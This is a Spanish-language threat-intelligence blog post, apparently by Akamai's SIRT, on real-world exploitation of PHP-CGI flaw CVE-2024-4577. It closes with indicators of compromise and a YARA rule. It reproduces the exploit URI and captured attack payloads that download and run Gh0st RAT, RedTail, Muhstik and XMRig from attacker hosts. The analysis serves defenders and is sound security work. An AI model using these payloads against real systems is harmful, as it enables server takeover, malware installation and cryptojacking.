Explotaciones de la CVE-2024-4577 en el mundo real un día después de la divulgación
Comentario editorial y adicional de Tricia Howard
Resumen ejecutivo
El equipo de respuesta a incidentes e inteligencia en seguridad de Akamai (SIRT, por sus siglas en inglés) ha estado supervisando la actividad relacionada con la CVE-2024-4577, una vulnerabilidad de PHP que afecta a las instalaciones que ejecutan el modo CGI que se divulgó en junio de 2024.
La vulnerabilidad afecta principalmente a las instalaciones de Windows que utilizan configuraciones regionales en chino y japonés, pero es posible que la vulnerabilidad se aplique a una gama más amplia de instalaciones.
Tan solo un día después de la divulgación, el SIRT observó numerosos intentos de explotación para aprovechar esta vulnerabilidad, lo que indica una alta capacidad de explotación y una rápida adopción por parte de los atacantes.
Entre las técnicas de explotación se incluyen la inyección de comandos y varias campañas de malware: Gh0st RAT, criptomineros RedTail y XMRig.
Automáticamente, Akamai App & API ha mitigado las explotaciones dirigidas a nuestros clientes.
En esta publicación del blog hemos incluido una lista completa de indicadores de riesgo (IOC) para las diversas explotaciones que analizamos.
Introducción
El tiempo transcurrido desde la divulgación hasta la explotación se ha reducido significativamente en los últimos años; de hecho, la mayoría de las actividades maliciosas tienen lugar en el primer mes que sigue a la publicación del parche. En mayo de 2024, el tiempo medio para comenzar la explotación era de aproximadamente 4 días después de que se hiciera pública una vulnerabilidad, lo que apenas dejaba tiempo para que los defensores se preparasen. Esa es solo una parte de los ataques a las vulnerabilidades: los atacantes también están aprovechando continuamente las vulnerabilidades de primer día (incluso algunas que tienen varios años de antigüedad) para garantizar que sus esfuerzos reciban una recompensa.
Uno de los ejemplos más recientes de estos ataques se encuentra en una vulnerabilidad crítica descubierta en PHP (versiones 8.1.*, anteriores a 8.1.29, 8.2.* anteriores a 8.2.20, y 8.3.* anteriores a 8.3.8). La vulnerabilidad se debe a la forma en que los controladores PHP y CGI analizan determinados caracteres Unicode, lo que puede permitir que un atacante logre la ejecución remota de código (RCE). Esta vulnerabilidad es increíblemente sencilla de aprovechar para un ataque, y hemos observado una amplia variedad de atacantes que aprovechan el defecto para atacar dispositivos vulnerables.
En esta entrada de blog, describiremos algunos de los intentos de aprovechar esta vulnerabilidad que hemos observado y sus consecuencias, además de presentar los indicadores de riesgo (IoC) que hemos recopilado.
Explotación de CVE-2024-4577
Uno de los factores a la hora de determinar el nivel de importancia es la facilidad de explotación, y esta es bastante sencilla de ejecutar para un atacante. Para lograr la RCE, un atacante solo necesita enviar código PHP al servidor y hacer que se (mal)interprete.
De forma similar a CVE-2012-1823, la explotación de esta vulnerabilidad se basa en el uso de php://input para incrustar el código en el cuerpo de la solicitud. En PHP, php://input es un flujo de E/S de solo lectura que le permite leer datos sin procesar del cuerpo de la solicitud. Una opción que se utiliza habitualmente para esta explotación es auto_prepend_file de PHP, que especifica el nombre de un archivo que se analiza automáticamente antes que el archivo principal. Dado que el contenido del archivo se analiza primero, se garantiza que el código de un atacante se incluya antes de que se ejecute cualquier otro código.
Además, muchos atacantes eligen agregar la opción allow_url_include, que permite la recuperación de datos desde ubicaciones remotas y funciones como fopen y file_get_contents.
Inyección de comandos
En el modo CGI de PHP, un servidor web analizará las solicitudes HTTP y las pasará a un script PHP, que realiza un procesamiento adicional en ellas. Por ejemplo, las cadenas de consulta se analizan y pasan al intérprete de PHP a través de la línea de comandos, por lo que una solicitud como http://host/cgi.php?foo=bar podría ejecutarse como php.exe cgi.php foo=bar.
Esto deja una vía abierta para la inyección de comandos, por lo que las entradas se limpian antes de invocar php.exe. CVE-2024-4577 es un defecto que permite a un atacante escapar la línea de comandos y transferir argumentos para que PHP los interprete directamente. La vulnerabilidad en sí reside en la forma en que los caracteres Unicode se convierten en ASCII. La Figura 1, cortesía del informe de watchTowr Lab sobre CVE-2024-4577, muestra dos invocaciones de php.exe, una es maliciosa y la otra es legítima, e ilustra lo difícil que es determinar cuál es cuál.
Para la persona que lee esto, estas parecen iguales, pero hay diferencias en la forma en que el equipo las interpreta (Figura 2). Cuando se examinan estos argumentos a través de un editor hexadecimal, se revela que la primera solicitud utilizó un guion o guion estándar (0x2D), mientras que la segunda solicitud utilizó un "guion bajo" (0xAD).
Las diferentes interpretaciones permiten que el ataque se produzca. Si un usuario pasa un guion bajo a un controlador CGI, no sentirá la necesidad de escaparlo. PHP aplica una asignación de mejor ajuste para el procesamiento Unicode y, por lo tanto, asumirá que un usuario tiene la intención de pasar un guion estándar cuando en realidad pasó un guion bajo. Al interpretar este guion bajo como estándar, permite a un atacante agregar argumentos adicionales de la línea de comandos, comenzando con guiones, en el proceso PHP para RCE.
Para completar esta explicación y ayudarle a comprender cómo se combina toda la estrategia, hemos incluido un ejemplo de una carga útil maliciosa capturada en el mundo real (Figura 3) y el comando resultante que el sistema host ejecutaría como resultado de controlar esta solicitud (Figura 4).
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Fig. 3: Ejemplo de una solicitud maliciosa
php.exe -d allow_url_include -d auto_prepend_file=php://input
Fig. 4: La solicitud maliciosa después del procesamiento
Documentación de los intentos de ataque
Malware Gh0st RAT
Los atacantes continuaron con la tendencia de aprovechar rápidamente el tiempo desde la divulgación hasta la explotación, y aprovecharon rápidamente esta nueva vulnerabilidad. Observamos intentos de explotación dirigidos a este defecto de PHP en nuestra red honeypot en un plazo de 24 horas desde su divulgación.
En uno de estos intentos se detectó el malware Gh0st RAT (Figura 5), que es una herramienta de acceso remoto de código abierto que ha estado utilizándose durante más de 15 años. Este era un ejecutable de Windows empaquetado en UPX.
Content-Type: application/x-www-form-urlencoded
User-Agent: python-requests/2.22.0
URI:
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('certutil.exe -urlcache -f http://147.50.253[.]109:44119/phps.exe phpsm.exe&start phpsm.exe');?>
Dirección IP de proxy: 23.237.182[.]122
Fecha: 09 de junio de 2024
Tras la ejecución del malware en un entorno de pruebas, colocó un ejecutable adicional llamado "Iqgqosc.exe", que además estaba empaquetado en UPX. Continúa enumerando las unidades conectadas y los periféricos, y consulta el registro. También cambia su nombre a "A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe".
Llegó al servidor de mando y control alemán 146.19.100[.]7 a través del puerto 8001.
La dirección IP 147.50.253[.]109 tenía varios certificados con el Common Name (CN) "BangCloud", que parecía estar asociado a un pequeño proveedor de alojamiento de servidores ubicado en Tailandia. La mayoría de las direcciones IP asociadas con este CN también pertenecían al mismo CIDR de 147.50.253[.]109, y todas resultaron positivas en VirusTotal para las conexiones a archivos maliciosos. La mayoría de estas direcciones IP también tenían hashes y nombres de archivo superpuestos para estos resultados. La Figura 6 muestra la impresión de MITRE ATT&CK Navigator para la muestra Gh0st RAT suministrada.
Criptominería RedTail
Los honeypots de SIRT también observaron una operación de criptominería de RedTail mediante CVE-2024-4577 en los días siguientes a la divulgación de la vulnerabilidad. El atacante envió una solicitud similar a las otras observadas en operaciones anteriores de RedTail, aprovechando el defecto del guion bajo con "%ADd", para ejecutar una solicitud wget para un script de shell. Este script realiza una solicitud de red adicional a la misma dirección IP basada en Rusia para recuperar una versión x86 del malware de criptominería RedTail (Figura 7).
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux; Linux x86_64; en-US) Gecko/20100101 Firefox/122.0
URI:
/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
POST DATA:
<?php shell_exec("SC=\$(wget -O- http://185.172.128[.]93/sh || curl http://185.172.128[.]93/sh); echo \"\$SC\" | sh -s cve_2024_4577"); ?>
El script de shell intenta descargar el archivo minero mediante wget o curl, con una conexión TCP sin procesar como método de reversión. Busca los directorios que posee la víctima actual y que tienen permisos de lectura, escritura y ejecución, excluyendo los directorios montados con la opción "noexec", además de "/tmp" y "/proc". A continuación:
- Recupera la arquitectura del sistema
- Prueba los permisos de escritura creando y eliminando archivos de prueba
- Descarga y ejecuta su carga útil en función de la arquitectura de la víctima, y cambia el nombre del archivo a ".redtail"
Las arquitecturas presentes en el script de shell incluyen aquellas que no se aplican a los dispositivos Windows, lo que probablemente sea solo el resultado de que los atacantes reutilizan scripts genéricos y no los adaptan a esta vulnerabilidad en particular.
Malware Muhstik
Otra campaña que está abusando de esta explotación observada en nuestros honeypots fue un script de shell que descarga una versión del malware Muhstik (Figura 8).
User-Agent: python-requests/2.22
URI:
/?%ADd+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('curl 86.48.2[.]49/3sh')?>;echo 1337; die;
El script de shell descarga un archivo llamado "pty3" desde una dirección IP diferente, que resulta ser un archivo ELF. Análisis adicionales muestran que esto es probablemente una muestra del malware Muhstik, que anteriormente se ha documentado que se dirige a los servidores Linux y del Internet de las Cosas para ataques de criptominería y ataques distribuidos de denegación de servicio (DDoS).
Muestra patrones y convenciones de nomenclatura similares a los casos de malware Muhstik notificados anteriormente, como "pty3". También crea varios directorios asociados con el malware Muhstik, como "/var/run/pty3", "/dev/shm/pty3", "/var/tmp/pty3" y "/var/lock/pty3".
Además, el dominio de mando y control al que llamó (p.findmeatthe[.]top) se documentó recientemente en una publicación independiente en una campaña de malware Muhstik, que se comunica a través de Internet Relay Chat (IRC).
XMRig
Hemos observado una cuarta campaña que abusa de esta explotación y en la que participaba XMR Rig, que ejecutó el siguiente comando:
URI:
/test.hello?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input
POST DATA (Base64 Encoded):
<?php $cmd=base64_decode('cG93ZXJzaGVsbCAtQ29tbWFuZCAiJHdjID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgJHRlbXBmaWxlID0gW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcEZpbGVOYW1lKCk7ICR0ZW1wZmlsZSArPSAnLmJhdCc7ICR3Yy5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly9kb3dubG9hZC5jM3Bvb2wub3JnL3htcmlnX3NldHVwL3Jhdy9tYXN0ZXIvc2V0dXBfYzNwb29sX21pbmVyLmJhdCcsICR0ZW1wZmlsZSk7ICYgJHRlbXBmaWxlIDQ5dzhnc0x3N1V3VVZzelVCdFl1amROMU1jTmtvZVl1Y1RjdGFlUFg4bm1iaktBQnpKOVMxcmlnV2RoNUVpVVQxejROUEFQY2h4VDdSYUpYTjNmVVJVcE02RjZLR2p5OyBSZW1vdmUtSXRlbSAtRm9yY2UgJHRlbXBmaWxlIg==');system($cmd) ?>
POST DATA (Base64 Decoded):
powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://download.c3pool[.]org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile); & $tempfile 49w8gsLw7UwUVszUBtYujdN1McNkoeYucTctaePX8nmbjKABzJ9S1rigWdh5EiUT1z4NPAPchxT7RaJXN3fURUpM6F6KGjy; Remove-Item -Force $tempfile"
El comando inyectado utiliza PowerShell para descargar y ejecutar un script con el fin de activar XMRig desde un grupo de minería remota, seguido de una limpieza de los archivos temporales para la ocultación.
Mitigaciones
Recomendamos aplicar rápidamente los parches necesarios para las organizaciones afectadas por esta vulnerabilidad y realizar la supervisión de los IoC.
Los clientes que utilizan Akamai Adaptive Security Engine en modo automático y tienen el grupo de ataques de inyección de comandos establecido en Denegar tienen habilitadas las mitigaciones automáticamente contra estos tipos de ataques.
Los clientes que utilizan Adaptive Security Engine en modo manual deben validar que tienen el grupo de ataques de inyección de comandos o las siguientes reglas en el modo Denegar (Figura 2): Dependiendo de la carga útil, una o varias de estas reglas están mitigando esta vulnerabilidad:
- 969151 v1 — PHP Injection Attack (Opening Tag)
- 959977 v1 — PHP Injection Attack (Configuration Override)
- 3000155 v1 — CMD Injection Attack Detected (PHP/Data Filter Detected)
- 3000171 v3 — Webshell/Backdoor File Upload Attempt
Como siempre, debe comprobar con frecuencia la consola para comprobar si hay actualizaciones y adiciones a los conjuntos de reglas. Poco después de que se publicaran los ataques, observamos una gran cantidad de análisis que buscaban explotar esta vulnerabilidad. Al igual que con la mayoría de las vulnerabilidades con ataques públicos, la gran mayoría de las solicitudes procedían de cazadores de errores y otros escáneres. Este tráfico fue detectado y bloqueado por varias reglas de Adaptive Security Engine (figuras 9 y 10).
Sin embargo, no todo el tráfico que buscaba explotar esta vulnerabilidad se originó por parte de los cazadores de errores. Aunque Adaptive Security Engine bloqueaba estas solicitudes, también realizaba mitigaciones automáticas para nuestros clientes de los mismos ataques maliciosos que nuestros honeypots observaban (Figura 11).
Además, había un ataque que fue bloqueado por Adaptive Security Engine y que nuestros honeypots no detectaron. En la carga útil que se muestra en la Figura 12, un atacante intentaba copiar un archivo de un servidor que controlaba en el directorio raíz del servidor de destino. El archivo copiado "up.txt" permitiría al atacante cargar cualquier archivo adicional a través del terminal "/xl.php". El atacante podría utilizarlo para cargar otros archivos maliciosos, como shells web o malware. Y lo que es más importante, al crear otra forma de cargar archivos, el atacante podría mantener el acceso incluso después de aplicar el parche para CVE-2024-4577.
Conclusión
Mediante el uso de diversas herramientas de automatización y la falta de supervisión corporativa, los atacantes tienen todo lo que necesitan para triunfar. El tiempo cada vez menor que los defensores tienen para protegerse después de la divulgación de una nueva vulnerabilidad es otro riesgo crítico para la seguridad. Esto es especialmente cierto para esta vulnerabilidad de PHP debido a su alta capacidad de explotación y una rápida adopción por parte de los atacantes.
El SIRT de Akamai seguirá supervisando amenazas como estas e informando sobre ellas para concienciar a nuestros clientes y a la comunidad de seguridad en general. Para obtener más información, síganos en X, antes conocido como Twitter, para estar al día de lo que descubrimos.
Gh0st RAT
Hash SHA256
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e
Nombres de archivo
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe
phps.exe
Iqgqosc.exe
Direcciones IPv4
147.50.253[.]109
146.19.100[.]7
23.237.182[.]122
IoC vinculados a BangCloud con coincidencias en VirusTotal
147.50.253[.]220
147.50.253[.]222
147.50.253[.]225
147.50.253[.]219
147.50.253[.]231
147.50.253[.]99
147.50.253[.]100
147.50.253[.]228
147.50.253[.]5
147.50.253[.]4
154.197.12[.].156
147.50.253[.]110
147.50.253[.]102
147.50.253[.]218
147.50.253[.]23
147.50.253[.]11
147.50.253[.]163
147.50.253[.]2
147.50.253[.]116
147.50.253[.]18
147.50.253[.]109
147.50.253[.]106
147.50.253[.]112
147.50.253[.]111
147.50.253[.]7
147.50.253[.]104
147.50.253[.]167
147.50.253[.]119
147.50.253[.]113
147.50.253[.]103
147.50.253[.]107
147.50.253[.]105
147.50.253[.]114
147.50.253[.]108
147.50.253[.]101
147.50.253[.]117
147.50.253[.]115
147.50.229[.]12
Técnicas de MITRE ATT&CK
T1091 — Replicación a través de medios extraíbles
T1547 — Ejecución de arranque o inicio automático de inicio de sesión
T1056 — Captura de entrada
T1112 — Modificación del registro
T1003 — Volcado de credenciales del sistema operativo
T1120 — Detección de dispositivos periféricos
T1027 — Información o archivos ocultados
T1071 — Protocolo de capa de aplicación
T1082 — Detección de información del sistema
T1571 — Puerto no estándar
T1057 — Detección de procesos
RedTail
Direcciones IPv4
185.172.128[.]93
Hashes SHA256
2c602147c727621c5e98525466b8ea78832abe2c3de10f0b33ce9a4adea205eb
0d70a044732a77957eaaf28d9574d75da54ae430d8ad2e4049bd182e13967a6f
ab897157fdef11b267e986ef286fd44a699e3699a458d90994e020619653d2cd
9753df3ea4b9948c82310f64ff103685f78af85e3e08bb5f0d0d44047c63c315
19a06de9a8b66196fa6cc9e86824dee577e462cbeaf36d715c8fea5bcb08b54d
Nombres de archivo
sh - Script de shell
X86_64 - Carga útil de Redtail
.redtail - Carga útil de Redtail
Reglas de YARA
rule redtail_miner {
meta:
author = "Akamai SIRT"
date = "06/24/2024"
version = "1.0"
description = "YARA Rule for Red Tail Crypto Miner and Shell Script"
strings:
$a1 = "rm -rf .redtail"
$a2 = "mv x86_64 .redtail"
$a3 = "mv i686 .redtail"
$a4 = "mv aarch64 .redtail"
$a5 = "mv arm7 .redtail"
$a6 = "./.redtail $1 > /dev/null 2>&1"
condition:
2 of ($*)
}
Malware Muhstik
Hash SHA256 de script de shell
1ae2fef05798f0f27e9de76fcef0217f282090fab1ba750623ca36b413151434
Hash SHA256 del archivo ELF
9e28f942262805b5fb59f46568fed53fd4b7dbf6faf666bedaf6ff22dd416572
Nombres de archivo
3sh - Script de shell
pty3 - Carga útil del malware Muhstik
Direcciones IPv4
147.139.29[.]220
86.48.2[.]49
185.201.8[.]176
194.59.165[.]52
156.67.218[.]115
Dominios
p.findmeatthe[.]top
p.deutschland-zahlung[.]eu
p.shadow-mods[.]net